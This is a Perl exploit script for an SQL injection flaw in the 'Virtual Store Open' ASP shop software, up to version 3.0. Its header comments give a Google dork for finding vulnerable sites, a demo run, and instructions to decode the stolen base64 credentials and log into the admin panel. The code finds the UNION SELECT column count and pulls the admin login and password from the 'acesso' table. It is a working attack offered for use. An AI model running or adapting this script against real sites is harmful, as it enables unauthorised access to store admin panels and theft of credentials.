#!/usr/bin/perl
#
# Script Name: Virtual Store Open <= 3.0
# Link1 : http://www.virtuastore.com.br/shopping.asp?link=ShoppingVirtuaStore
# Link2 : http://www.virtuastore2010.com.br/
# Link3 Yahoo Group : http://br.groups.yahoo.com/group/virtuastore/
# Bug: Acess Sql Injection
# Found: Br0ly
# google dork: inurl:"produtos.asp?produto="
# Use some base64 decode google IT.
# After decoding  login and pass go to: www.site.com.br/administrador.asp
# aoiuaoaaaaiuahiuahaaiauhaiuha EASY ???
# BRASIL!! :D
#
# exploit demo:
#
#[br0ly@xploit web]$ perl virtualstore.txt http://server/produtos.asp?produto=98
#
#  --------------------------------------
#   -Virutal Store OPen
#   -ACESS Sql Injection
#   -by Br0ly
#  --------------------------------------
#
#[+] GO: http://server/produtos.asp?produto=-1
#[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
#[+] URL_INJECTED:: http://server/produtos.asp?produto=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,c0li,24,25%20FROM%20acesso;
#[+] LOGIN:: YWRtaW4=
#[+] SENHA:: ZXVyZWth
#[+] Done
#
# ADMIN PAINEL: http://server/administrador.asp
#
use IO::Socket::INET;
use IO::Select;
use HTTP::Request;
use LWP::UserAgent;

#CONF

my $host   = $ARGV[0];
my $spc    = "%20";
my $ce     = "%26";
my $fim_n  = 51;
my $login = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."login".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
my $senha = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."senha".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";

if(@ARGV < 1 ) { help(1); }
$h0st = url_id($host);
banner();


#GO

magic($h0st);

sub magic () {

	my $url    = $_[0];
	my $union  = "UNION".$spc."SELECT".$spc;
	my $end    = "FROM".$spc."acesso;";
	my $c0de   = "";
	my $c0li   = "";
	my $i = 1;
	my $content = "";
	print "[+] GO: $url\n";
	syswrite(STDOUT,"[+] Testing: ",14);
	for($i = 1;$i <= $fim_n;$i += 1) {
		my @num_magic = char_str($i);
		my $num_edit  = edit_char(@num_magic);
		my $hex = "chr(98)".$ce."chr(114)".$ce."chr(48)".$ce."chr(108)".$ce."chr(121)".$ce."$num_edit".$ce."chr(121)".$ce."chr(108)".$ce."chr(48)".$ce."chr(114)".$ce."chr(98)";
		my $bin = "br0ly".$i."yl0rb";
		if(($i > 1) && ($i < $fim_n)) {
			$c0li = $c0li.",".$hex;
			$c0de = $c0de.",".$bin;
		}
		else {
			$c0li = $c0li.$hex;
			$c0de = $c0de.$bin;
		}
		syswrite(STDOUT,$i.",", 255);
		my $xpl   = $url.$spc.$union.$c0li.$spc.$end;
		$content  = get_query($xpl);
		$content  = tag($content);
		if($content =~ /fail/)  { $i = $fim_n+1; }
		if($content =~ m/br0ly/i) {
			$number  = ssdp_mid_str("br0ly","yl0rb",$content);
			$link1   = str_replace($c0de,"br0ly".$number."yl0rb","c0li");
			$link2	 = str_replace($link1,"br0ly","");
			$link3   = str_replace($link2,"yl0rb","");
			$inject  = $url.$spc.$union.$link3.$spc.$end;
			$sql_i   = $inject;
			print "\n[+] URL_INJECTED:: $inject\n";
			$login_i = get_login($sql_i);
			if($login_i != 1) {
				print "[+] LOGIN:: $login_i\n";
			}
			else {
				print "[-] FAIL TO GET LOGIN\n";
			}
			$senha_i = get_senha($sql_i);
			if($senha_i != 1) {
				print "[+] SENHA:: $senha_i\n";
			}
			else {
				print "[-] FAIL TO GET SENHA\n";
			}
			$i = $fim_n;
		}
		if($i == $fim_n+1) {
			print ("[-] Failed to get magic number. Please try it manually :)\n");

		}
	}
	print ("[+] Done\n");
}

sub tag () {
	my $string = $_[0];
	$string =~ s/ /\$/g;
	$string =~ s/\s/\*/g;
	return($string);
}

sub ssdp_mid_str () {
	my $left   = $_[0];
	my $right  = $_[1];
	my $string = $_[2];
	my @exp  = split($left,$string);
	my @data = split($right,$exp[1]);
	return $data[0];
}

sub get_login () {
	my $sqli   = $_[0];
	$login_aux = str_replace($sqli,"c0li",$login);
	$query     = get_query($login_aux);
	if($query  =~ m/br0ly(.+)br0ly/i) {
		$login_r = $1;
		return $login_r;
	}
	else { return 1; }
}

sub get_senha () {
	my $sqli   = $_[0];
	$senha_aux = str_replace($sqli,"c0li",$senha);
	$query     = get_query($senha_aux);
	if($query =~ m/br0ly(.+)br0ly/i) {
		$senha_r = $1;
		return $senha_r;
	}
	else { return 1; }
}

sub url_id () {
	my $host = $_[0];
	my $fail = "fail";
	if($host =~ /=(.+)/) {
		$id     = $1;
		$new_id = "-1";
		$host   = str_replace($host,$id,$new_id);
		return $host;
	}
	else {
		return $fail;
	}
}

sub str_replace () {
	my $source  = shift;
 	my $search  = shift;
 	my $replace = shift;
 	$source =~ s/$search/$replace/ge;
 	return $source;
}

sub get_query () {
	my $link = $_[0];
	if($link =~ /http:\/\//) { $link =~ s/http:\/\///; }
	my $fail = "fail";
 	my $req  = HTTP::Request->new(GET => "http://".$link);
 	my $ua   = LWP::UserAgent->new();
 	$ua->timeout(5);
 	my $response = $ua->request($req);
 	#if ($response->is_error) { print("[-][Error] [timeout]\n"); return $fail; }
 	return $response->content;
}

sub char_str () {
	my $str_1 = $_[0];
 	my @str_char = unpack("C*", $str_1);
 	return @str_char;
}


sub edit_char () {

	my @num = @_;
  	my $num_t  = @num;
	my $num_magic;

	if($num_t > 1) {
		$num_magic = "chr($num[0])".$ce."chr($num[1])";
		return $num_magic;
	}
	else {
		$num_magic = "chr($num[0])";
		return $num_magic;
	}
}

sub help () {
	my $help = $_[0];
	if($help == 1) {
		banner();
		print "[-] MISS URL..\n";
		print "[+] USE:EX: perl $0 http://www.site_find_in_google.com.br/produtos.asp?produto=98\n";
		print "[+] USE:EX-LIVE: perl $0 http://server/produtos.asp?produto=98\n";
		exit(0);
	}
}

sub banner() {

	print "\n".
  	"  --------------------------------------\n".
	"   -Virutal Store OPen                  \n".
	"   -ACESS Sql Injection                 \n".
	"   -by Br0ly                            \n".
	"  --------------------------------------\n\n";
}